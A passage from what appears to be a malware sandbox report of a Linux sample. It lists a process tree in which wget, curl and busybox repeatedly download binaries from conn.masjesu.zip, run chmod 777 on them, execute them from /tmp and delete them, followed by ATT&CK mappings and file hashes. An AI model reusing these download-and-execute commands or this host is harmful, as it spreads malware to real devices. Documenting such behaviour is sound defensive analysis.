  ./3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - Executes dropped EXE
  PID:972
- /bin/rm
  rm 3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  PID:973
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - System Network Configuration Discovery
  PID:974
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  PID:977
- /bin/chmod
  chmod 777 ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - File and Directory Permissions Modification
  PID:978
- /tmp/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  ./ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - Executes dropped EXE
  PID:979
- /bin/rm
  rm ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  PID:980
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - System Network Configuration Discovery
  PID:981
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:982
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - System Network Configuration Discovery
  PID:984
- /bin/chmod
  chmod 777 hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - File and Directory Permissions Modification
  PID:985
- /tmp/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  ./hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - Executes dropped EXE
  PID:986
- /bin/rm
  rm hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  PID:987
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - System Network Configuration Discovery
  PID:988
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:989
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - System Network Configuration Discovery
  PID:991
- /bin/chmod
  chmod 777 0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - File and Directory Permissions Modification
  PID:992
- /tmp/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  ./0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - Executes dropped EXE
  PID:993
- /bin/rm
  rm 0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  PID:994
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  PID:995
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:996
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  PID:998
- /bin/chmod
  chmod 777 R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  - File and Directory Permissions Modification
  PID:999
- /tmp/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  ./R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  - Executes dropped EXE
  PID:1000
- /bin/rm
  rm R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  PID:1001
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - System Network Configuration Discovery
  PID:1002
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1003
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - System Network Configuration Discovery
  PID:1005
- /bin/chmod
  chmod 777 oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - File and Directory Permissions Modification
  PID:1006
- /tmp/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  ./oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - Executes dropped EXE
  PID:1007
- /bin/rm
  rm oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  PID:1008
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - System Network Configuration Discovery
  PID:1009
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1010
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  PID:1012
- /bin/chmod
  chmod 777 jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - File and Directory Permissions Modification
  PID:1013
- /tmp/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  ./jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - Executes dropped EXE
  PID:1014
- /bin/rm
  rm jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  PID:1015

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

M1ZMfgvusr946aK3Qj726I6bsQM3otb99x

Path /tmp/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO

Path /tmp/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
Size 114B
SHA256 2d1255033a3f5cde3fb430b15d84ad95c1d7d37b25132cd3dcca7c30963e9f12
MD5 546071c6a6aeff34580b4d1a9b35a7c3
SHA1 dc2de298837a86d3bc86e8a328411229d9eccdb6
SHA512 207f333daf98fe653f4f661defd86651cbb50e3482511769d0558d2fd80ce107ec6a519424e05107740a802b444b62445901788d80dde4e8dbc8ee116d5b9be7
MD5 SHA1 SHA512